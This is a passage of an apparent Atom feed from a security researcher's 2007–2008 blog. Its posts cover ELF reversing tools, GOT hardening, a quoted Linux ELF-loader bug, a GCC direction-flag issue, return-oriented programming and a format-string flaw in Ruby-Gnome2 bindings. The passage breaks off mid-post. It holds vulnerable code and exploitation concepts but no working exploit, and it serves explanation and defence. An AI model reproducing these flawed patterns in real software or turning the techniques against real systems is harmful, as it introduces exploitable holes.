href=&quot;http://code.google.com/p/leaf-re/&quot;&gt;new project&lt;/a&gt; on googlecode. Leaf is an ELF reversing framework written in C. It has a built in API for developing your own analysis and output plugins. The current version (0.0.7) supports plugins written in C. The whole point of the project is flexibility in the analysis and output of the stuff your interested in. It&#39;s not just another text based disassembler, although a plugin that implements one can be easily written. In fact I released one with it and its available for download at the website. I am slowly releasing other plugins of varying quality. There are plenty of great tools for reversing on the Win32 platform, so there is no plan to support the PE format. If you want more information on it check out the googlecode link and look at the wiki. &lt;/span&gt;&lt;span style=&quot;;font-family:verdana;font-size:85%;&quot;  &gt;It&#39;s still beta quality and there are definitely a few bugs. I hope you find it useful.&lt;br /&gt;&lt;br /&gt;Update: Posted Leaf-0.0.10.tar.gz at http://leaf-re.googlecode.com It now uses udis86. Lots of work still to do, but its a start.&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/1288179109246828090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/1288179109246828090?isPopup=true' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1288179109246828090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1288179109246828090'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/09/leaf.html' title='Leaf'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-1547254424023396375</id><published>2008-06-25T14:15:00.000-07:00</published><updated>2008-06-29T20:22:51.387-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binary"/><category scheme="http://www.blogger.com/atom/ns#" term="bitstruct"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><title type='text'>BitStruct is great</title><content type='html'>If you code in Ruby and do any binary parsing then you need to be using &lt;a href=&quot;http://redshift.sourceforge.net/bit-struct/&quot;&gt;BitStruct&lt;/a&gt;. It makes C style structs in Ruby very easy. Sometimes you have to sniff a custom binary protocol the quick and dirty way, these are times I turn to Ruby instead of C. The Bitstruct release has some good examples of parsing network protocols but using raw sockets in Ruby is ugly. I prefer to use the LibPcap wrappers instead for the awesomeness of pcap filters.&lt;br /&gt;&lt;pre&gt;require &#39;pcaplet&#39;&lt;br /&gt;require &#39;bit-struct&#39;&lt;br /&gt;&lt;br /&gt;   # Fake protocol I made up for this example&lt;br /&gt;   class CustomProtocol &lt; BitStruct        &lt;br /&gt;       char        :header,    64,     :endian =&gt; :native&lt;br /&gt;       unsigned    :length,    8,      :endian =&gt; :native&lt;br /&gt;       unsigned    :next_hdr,  16,     :endian =&gt; :little&lt;br /&gt;       unsigned    :next_tag,  16,     :endian =&gt; :network&lt;br /&gt;       unsigned    :type,      32,     :endian =&gt; :native&lt;br /&gt;       rest        :data&lt;br /&gt;   end&lt;br /&gt;&lt;br /&gt;# Capture up to 1533 bytes&lt;br /&gt;sniff = Pcaplet.new(&#39;-s 1533&#39;)&lt;br /&gt;&lt;br /&gt;# Specific pcap filter so we only grab the protocol we are dissecting&lt;br /&gt;pcap_filter = Pcap::Filter.new(&#39;tcp &amp;amp;&amp;amp; port 34504 &amp;amp;&amp;amp; src 192.168.1.10&#39;, sniff.capture)&lt;br /&gt;&lt;br /&gt;sniff.add_filter(pcap_filter)&lt;br /&gt;&lt;br /&gt;for pkt in sniff&lt;br /&gt;   if pcap_filter =~ pkt&lt;br /&gt;       puts pkt&lt;br /&gt;       struct = CustomProtocol.new(pkt.tcp_data)&lt;br /&gt;       puts sprintf(&quot;ASCII Header: %s\tLength: %x\tNext Hdr: %x\tNext Tag: %x\tType: %x\tData: %s&quot;,&lt;br /&gt;           struct.header, struct.length, struct.next_hdr, struct.next_tag, struct.type, struct.data)&lt;br /&gt;   end&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/1547254424023396375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/1547254424023396375?isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1547254424023396375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1547254424023396375'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/06/bitstruct-is-great.html' title='BitStruct is great'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-7820700493630541812</id><published>2008-06-03T13:39:00.000-07:00</published><updated>2008-06-03T14:56:05.324-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ELF"/><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Known API&#39;s and automated static code analysis</title><content type='html'>&lt;div&gt;I did some quick work a few weeks ago on automating static code analysis by using known API&#39;s to generate information about data structures and logic flow. The work is not ground breaking but I felt the techniques are quite useful and I wanted to document them clearly for myself and others. You can grab the short paper &lt;a href=&quot;http://chris.rohlf.googlepages.com/Static_DS_REC.pdf&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;It&#39;s interesting that slides Halvar &lt;a href=&quot;http://www.blackhat.com/presentations/win-usa-04/bh-win-04-flake.pdf&quot;&gt;presented&lt;/a&gt; in 2004 on automating reverse engineering are entirely still relevant. He made a good point ... &quot;no matter how stupid an analysis tool is, some programmers will make mistakes which are stupider&quot;. How true... &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/7820700493630541812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/7820700493630541812?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7820700493630541812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/7820700493630541812'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/06/known-apis-and-automated-static-code.html' title='Known API&#39;s and automated static code analysis'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-1494508837295707111</id><published>2008-05-02T22:20:00.001-07:00</published><updated>2011-01-16T13:19:21.376-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ELF"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Self Protecting GOT</title><content type='html'>&lt;span style=&quot;font-size: 85%;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;I had some time to kill over the past few days and I wanted to explore an idea I had a few months ago. The idea is to protect the ELF GOT (Global Offset Table) (and other segments of memory) from userland without the support of &#39;relro&#39; functionality now found in the GNU dynamic linker. I accomplished it through techniques such as linker script modification and constructor functions. No kernel modifications are needed and I have tested it on a semi large project (Snort IDS).&lt;br /&gt;
&lt;br /&gt;
You can find the draft version 1.1 of my writeup &lt;a href=&quot;http://code.google.com/p/em386/downloads/detail?name=Self-Protecting-GOT.html&quot;&gt;here&lt;/a&gt;. If you find any mistakes let me know and I will fix them.&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/1494508837295707111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/1494508837295707111?isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1494508837295707111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/1494508837295707111'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/05/self-protecting-got.html' title='Self Protecting GOT'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-868574965567102725</id><published>2008-04-18T21:12:00.000-07:00</published><updated>2008-04-19T05:19:55.332-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ELF"/><category scheme="http://www.blogger.com/atom/ns#" term="kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>kmemcheck and an old bug</title><content type='html'>&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;I wanted to do a quick post about &#39;&lt;a href=&quot;http://kerneltrap.org/node/15912&quot;&gt;kmemcheck&lt;/a&gt;&#39; because I think the concept is pretty cool. It&#39;s a debugging patch in its 7th rev that is now proposed for the mainline Linux kernel in 2.6.26 and the idea&lt;/span&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;&lt;span style=&quot;font-family:arial;&quot;&gt; is pretty simple but has lots of security uses...&lt;/span&gt;&lt;br /&gt;&lt;blockquote style=&quot;font-family: arial;&quot;&gt;&quot;kmemcheck is a patch to the linux kernel that detects use of uninitialized memory. It does this by trapping every read and write to memory that was allocated dynamically (e.g. using kmalloc()). If a memory address is read that has not previously been written to, a message is printed to the kernel log.&quot;&lt;/blockquote&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;The author provided a sample log file from the patch which is &lt;/span&gt;&lt;a style=&quot;font-family: arial;&quot; href=&quot;http://folk.uio.no/vegardno/linux/kmemcheck-20071127.txt&quot;&gt;here&lt;/a&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;. I spent a few minutes browsing it and I think it definitely shows promise for more than debugging. **Consider the case of these &lt;/span&gt;&lt;a style=&quot;font-family: arial;&quot; href=&quot;http://marc.info/?l=bugtraq&amp;amp;m=110010551907076&amp;amp;w=2&quot;&gt;ELF loader vulnerabilities&lt;/a&gt;&lt;span style=&quot;font-family:arial;&quot;&gt; found by Paul Starzetz in 2004. Bug [1] is basically incorrect checking of the kernel_read() return value. Here&#39;s the bug:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;...&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;       size = elf_ex.e_phnum * sizeof(struct elf_phdr);&lt;br /&gt;       elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);&lt;br /&gt;       if (!elf_phdata)&lt;br /&gt;              goto out;&lt;br /&gt;&lt;br /&gt;       retval = kernel_read(bprm-&gt;file, elf_ex.e_phoff, (char *) elf_phdata, size);&lt;br /&gt;       if (retval &lt; 0)&lt;br /&gt;              goto out_free_ph;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;...  &lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;font-family:arial;&quot;&gt;&lt;br /&gt;&lt;br /&gt;The code above makes the incorrect assumption that kernel_read() will return less than zero if an error occurs. This is true however kernel_read() can also return greater than zero but less than &#39;size&#39;. Which in this case leaves a portion of elf_phdata uninitialized. Whats my point? I&#39;m getting to that. An attacker can potentially control this uninitialized data and take control of a process image. Now this particular bug is pretty hard to trigger and even harder to exploit. But the important thing is kmemcheck may have caught this particular issue, and others like it. kmemcheck would fire off a log entry when the ELF loader goes to read the uninitialized data in elf_phdata because technically the attacker controlled data was never written to it in this context, its old &#39;left over&#39; data. Very neat stuff.&lt;br /&gt;&lt;br /&gt;The kernel allocators are a bit more complex than malloc in userland though. The slab code has many small details about it that can make or break a kmalloc based vulnerability, but the concept here is very intriguing regardless. You can grab the kmemcheck patches &lt;a href=&quot;http://folk.uio.no/vegardno/linux/kmemcheck/&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;**As a side note, I took a quick look at linux/fs/binfmt_elf_fdpic.c and &lt;a href=&quot;http://chris.rohlf.googlepages.com/elf_fdpic_vuln.txt&quot;&gt;found&lt;/a&gt; this bug in virtually the same place as Paul found it and in an additional spot as well, where the program interpreter is loaded. They affect a small population and have already been &lt;a href=&quot;http://www.uwsg.indiana.edu/hypermail/linux/kernel/0804.2/1480.html&quot;&gt;fixed&lt;/a&gt;.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/868574965567102725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/868574965567102725?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/868574965567102725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/868574965567102725'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/04/kmemcheck-and-old-bug.html' title='kmemcheck and an old bug'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-3640494029225161250</id><published>2008-03-19T11:32:00.000-07:00</published><updated>2008-03-19T16:35:40.998-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="gcc"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>CLD/STD and GCC 4.3.0</title><content type='html'>&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;Some of you may have seen &lt;a href=&quot;http://lwn.net/SubscriberLink/272048/ecf14f359bcdcd15/&quot;&gt;this&lt;/a&gt; already. Its a very subtle bug that was exposed by GCC &lt;a href=&quot;http://gcc-uk.internet.bs/snapshots/4.3-20080313/&quot;&gt;4.3.0&lt;/a&gt; that manifests itself in an interesting way. Heres a quick overview. In its latest version, GCC has changed a very small detail. Before version 4.3.0 GCC would insert a CLD (Clear Direction Flag) instruction before any inline string copy functions as shown below:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;804de86:       fc                  cld &lt;br /&gt;804de87:       f3 a4               rep movsb %ds:(%esi),%es:(%edi)&lt;br /&gt;804de89:       89 c1               mov    %eax,%ecx&lt;br /&gt;804de8b:       c1 e9 02            shr    $0x2,%ecx&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This instruction (CLD) clears a flag that determines which direction data should be written in (forward or backward). The flag itself is stored in the EFLAGS register. Clearing the flag with CLD sets the flag to 0 (forward). The STD instruction can then change this by setting the flag to 1 (backward). GCC no longer emits this instruction before inline string copies. This change is documented &lt;a href=&quot;http://gcc.gnu.org/gcc-4.3/changes.html&quot;&gt;here&lt;/a&gt;. Technically this is right because the &lt;a href=&quot;http://www.sco.com/developers/devspecs/abi386-4.pdf&quot;&gt;ABI&lt;/a&gt; states the direction flag should be cleared before entering any function (see page 38 under &lt;span style=&quot;font-style: italic;&quot;&gt;EFLAGS&lt;/span&gt;). The problem in this case is that the Linux kernel does not clear the flag when entering a signal handler. So in theory the flag is set to 1 for whatever reason and then a signal gets tripped and calls something like memcpy or memmove. Since the CLD instruction is no longer used inline the copy can &lt;/span&gt;&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;write data in the wrong direction&lt;/span&gt;&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;. This can obviously lead to security issues. I put together some x86 example code for this based on the x86_64 version posted to LKML, you can find it &lt;a href=&quot;http://chris.rohlf.googlepages.com/cld.c&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;pre&gt;./cld&lt;br /&gt;Hit Ctrl+C&lt;br /&gt;In signal handler...&lt;br /&gt;DF = 1 (backward)&lt;br /&gt;In signal handler...&lt;br /&gt;DF = 1 (backward)&lt;br /&gt;In signal handler...&lt;br /&gt;DF = 0 (forward)&lt;br /&gt;In signal handler...&lt;br /&gt;DF = 0 (forward)&lt;br /&gt;In signal handler...&lt;br /&gt;DF = 1 (backward)&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/3640494029225161250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/3640494029225161250?isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3640494029225161250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3640494029225161250'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/03/cldstd-and-gcc-430.html' title='CLD/STD and GCC 4.3.0'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-4057209393891029273</id><published>2008-03-03T09:30:00.000-08:00</published><updated>2008-03-07T20:24:39.310-08:00</updated><title type='text'>Updated: Spamhaus-Snort Correlation Script</title><content type='html'>If you have ever worked in security operations before you should be pretty familiar with the daily pains of trying to detect and stop malware before it gets into your network environment. Theres &lt;a href=&quot;http://www.malwaredomains.com/&quot;&gt;plenty&lt;/a&gt; of &lt;a href=&quot;http://www.emergingthreats.net/&quot;&gt;sources&lt;/a&gt; out &lt;a href=&quot;http://ddanchev.blogspot.com/&quot;&gt;there&lt;/a&gt; to help you out. Last year I toyed with the concept of &lt;a href=&quot;http://chris.rohlf.googlepages.com/spamhaus-snort.sh&quot;&gt;correlating my Snort alert sources&lt;/a&gt; with the &lt;a href=&quot;http://www.spamhaus.org/&quot;&gt;spamhaus&lt;/a&gt; DNS blacklist. The results were pretty much what I expected. A lot of the unsolicited attacks and probes picked up by my IDS were coming from hosts that were on the &lt;a href=&quot;http://www.spamhaus.org/&quot;&gt;spamhaus&lt;/a&gt; black list. This is presumably because the same hosts on botnets that are sending spam are also scanning for other victims and hosting malicious client side exploits. This really isn&#39;t &#39;news&#39; - but what I find disturbing is that there doesn&#39;t seem to be any correlation in some of these defenses. Specifically, when my mail filter rejects a spam due to a hit on Spamhaus XBL (exploits/trojans list etc...), it stops. Why not send that offending IP to my firewall and blacklist it? I know there are IDS&#39;s that will send this type of information to the firewall when an alert is triggered. Are there any anti-spam technologies out there doing this? &lt;span style=&quot;font-style: italic;&quot;&gt;If any big anti-spam vendors start doing this, be sure to send me &lt;/span&gt;&lt;a style=&quot;font-style: italic;&quot; href=&quot;http://chris.rohlf.googlepages.com/consulting.html&quot;&gt;consulting&lt;/a&gt;&lt;span style=&quot;font-style: italic;&quot;&gt; work :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I updated the &lt;a href=&quot;http://chris.rohlf.googlepages.com/spamhaus-snort.sh&quot;&gt;Spamhaus-Snort&lt;/a&gt; correlation script today. I hope you find it useful.</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/4057209393891029273/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/4057209393891029273?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4057209393891029273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/4057209393891029273'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2008/02/updated-spamhaus-snort-correlation.html' title='Updated: Spamhaus-Snort Correlation Script'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-3888716937576133239</id><published>2007-12-23T14:45:00.000-08:00</published><updated>2007-12-30T16:55:34.986-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploitation"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Ret-2-libc Without Function Calls</title><content type='html'>&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;Someone posted a link to this paper (&lt;a href=&quot;http://www.cse.ucsd.edu/%7Ehovav/papers/s07.html&quot;&gt;http://www.cse.ucsd.edu/~hovav/papers/s07.html&lt;/a&gt;) on Full Disclosure the other day. I had not seen it before. It discusses ret-2-libc attacks without using functions. Instead the authors use what they call &#39;gadgets&#39;. Which in plain technical terms means finding unintended code sequences in executable pages of memory that can be used to string together ways to execute arbitrary code. The authors present it as a way to defeat W^X protections.&lt;br /&gt;&lt;br /&gt;From the paper:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;Gadgets perform well defined operations, such as a load, an xor, or a jump. Return-oriented programming consists in putting gadgets together that will perform the desired operations.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;These gadgets can be found in byte streams from libc within a process&#39; memory. They are not injected due to W^X constraints on most platforms. &lt;/span&gt; &lt;span style=&quot;font-style: italic;&quot;&gt;...&lt;/span&gt; &lt;span style=&quot;font-style: italic;&quot;&gt;Each of our gadgets expects to be entered in the same way: the processor executes a ret with the stack pointer, %esp, pointing to the bottom word of the gadget. This means that, in an exploit, the first gadget should be placed so that its bottom word overwrites some functions saved return address on the stack.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The technique is an interesting one. It reminds of me certain ret-2-text techniques that may fall into the middle of a long instruction to produce a &lt;span style=&quot;font-style: italic;&quot;&gt;jmp %reg&lt;/span&gt; trampoline. Overall the technique will vary from platform to platform because libc may be compiled differently from Fedora to Ubuntu for example.&lt;br /&gt;&lt;br /&gt;Using randomized mmap() (randomized library base mappings), PIE (Position Independent Executables) and RANDEXEC hardening make this type of exploitation technique a bit harder to pull off. The paper is worth a read if you have the time.&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://em386.blogspot.com/feeds/3888716937576133239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/34826778/3888716937576133239?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3888716937576133239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34826778/posts/default/3888716937576133239'/><link rel='alternate' type='text/html' href='http://em386.blogspot.com/2007/12/ret-2-libc-without-function-calls.html' title='Ret-2-libc Without Function Calls'/><author><name>Chris Rohlf</name><uri>http://www.blogger.com/profile/16615531060194715892</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34826778.post-7409848530721818636</id><published>2007-11-27T10:30:00.000-08:00</published><updated>2007-11-27T07:44:57.028-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="format string vulnerability"/><category scheme="http://www.blogger.com/atom/ns#" term="gnome2"/><category scheme="http://www.blogger.com/atom/ns#" term="gtk"/><category scheme="http://www.blogger.com/atom/ns#" term="ruby"/><category scheme="http://www.blogger.com/atom/ns#" term="security"/><title type='text'>Your favorite &quot;better than C&quot; scripting language is probably implemented in C</title><content type='html'>&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;I was writing an application front-end in &lt;a href=&quot;http://ruby-gnome2.sourceforge.jp/&quot;&gt;Ruby/Gnome2&lt;/a&gt; and I needed to produce an error message for the user that contained a string the user had previously input. My MessageDialog code looked like this:&lt;br /&gt;&lt;pre&gt;-------------------------------------------------------------------------&lt;br /&gt;dialog = Gtk::MessageDialog.new(@main_app_window, Gtk::Dialog::MODAL,&lt;br /&gt;          Gtk::MessageDialog::INFO,&lt;br /&gt;          Gtk::MessageDialog::BUTTONS_CLOSE,&lt;br /&gt;          &quot;%s - Was your string!&quot; % my_string)&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;/pre&gt;As you can see the variable my_string is placed in the message dialog text using a format specifier correctly according to the &lt;a href=&quot;http://ruby-gnome2.sourceforge.jp/hiki.cgi?cmd=view&amp;amp;p=Gtk%3A%3AMessageDialog&amp;amp;key=messagedialog&quot;&gt;man page&lt;/a&gt;. I started to wonder what happened if this string contained a format specifier, would the underlying C libraries and bindings display it correctly? Surprise!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5e_DE2C_3-Zx8X_bGUnrPqMXp7IS64j71efqRQ-arn1HeNVk8AZljfMRx1FmhU_lCo0DBfCZtb3hFlusMnayAAbNd0sKT8dCwF1Fj9Ak_4SfVneV6tA5Um58IxIyprAK1as4H/s1600-h/ruby-dialog.png&quot;&gt;&lt;img style=&quot;cursor: pointer;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5e_DE2C_3-Zx8X_bGUnrPqMXp7IS64j71efqRQ-arn1HeNVk8AZljfMRx1FmhU_lCo0DBfCZtb3hFlusMnayAAbNd0sKT8dCwF1Fj9Ak_4SfVneV6tA5Um58IxIyprAK1as4H/s320/ruby-dialog.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5136519612602077698&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;;font-family:arial;font-size:85%;&quot;  &gt;&lt;br /&gt;No it was not displayed correctly. In fact it was vulnerable to a format string attack straight from the year 2001. UGH! Now you might argue - &quot;Your fault for not sanitizing your string&quot;. Well thats true to a point. But the MessageDialog interface is just a very deep abstraction layer to a &lt;span style=&quot;font-style: italic;&quot;&gt;printf()&lt;/span&gt; style function in the GTK C library. But unlike those functions MessageDialog is not well documented as an &#39;easily mis-used&#39; function.&lt;br /&gt;&lt;br /&gt;Programmers typically trust their API to correctly sanitize and display their input, especially in scripting languages. This is because in scripting languages programmers feel they are safe from traditional C language vulnerabilities. This isn&#39;t always the case when your abstraction layers don&#39;t handle data correctly. My audit to find the offending code took about ten minutes but I narrowed it down to&lt;br /&gt;&lt;br /&gt;ruby-gnome2-all-0.16.0/gtk/src/rbgtkmessagedialog.c&lt;br /&gt;&lt;br /&gt;Where it calls GTK like this:&lt;br /&gt;&lt;pre&gt;w = gtk_message_dialog_new(NIL_P(parent) ? NULL : GTK_WINDOW(RVAL2GOBJ(parent)),&lt;br /&gt;                    RVAL2GFLAGS(flags, GTK_TYPE_DIALOG_FLAGS),&lt;br /&gt;                    RVAL2GENUM(type, GTK_TYPE_MESSAGE_TYPE),&lt;br /&gt;                    RVAL2GENUM(buttons, GTK_TYPE_BUTTONS_TYPE),&lt;br /&gt;                    (const gchar*)(NIL_P(message) ? &quot;&quot;: RVAL2CSTR(message)));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The variable &#39;message&#39; is passed directly to GTK. I don&#39;t blame GTK authors for this one, it would be like blaming libc authors for &lt;span style=&quot;font-style: italic;&quot;&gt;printf()&lt;/span&gt;&#39;s ability to print a variable without a format specifier. The &lt;a href=&quot;http://www.gtk.org/api/2.6/gtk/GtkMessageDialog.html#gtk-message-dialog-new&quot;&gt;GTK MessageDialog&lt;/a&gt; page shows the function prototype for gtk_message_dialog_new()&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;GtkWidget* gtk_message_dialog_new&lt;br /&gt;(GtkWindow *parent, GtkDialogFlags flags, GtkMessageType type,&lt;br /&gt;GtkButtonsType buttons, const gchar *message_format, ...);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;parent&lt;/span&gt;: transient parent, or NULL for none&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;flags&lt;/span&gt;: flags&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;type&lt;/span&gt;: type of message&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;buttons&lt;/span&gt;: set of buttons to use&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;message_format&lt;/span&gt;: printf()-style format string, or NULL&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;...&lt;/span&gt;: arguments for message_format&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So GTK is clearly expecting a proper format string, which should be properly passed to it by whatever API called it.&lt;br /&gt;&lt;br /&gt;Example vulnerable code:&lt;br /&gt;&lt;pre&gt;-------------------------------------------------------------------------&lt;br 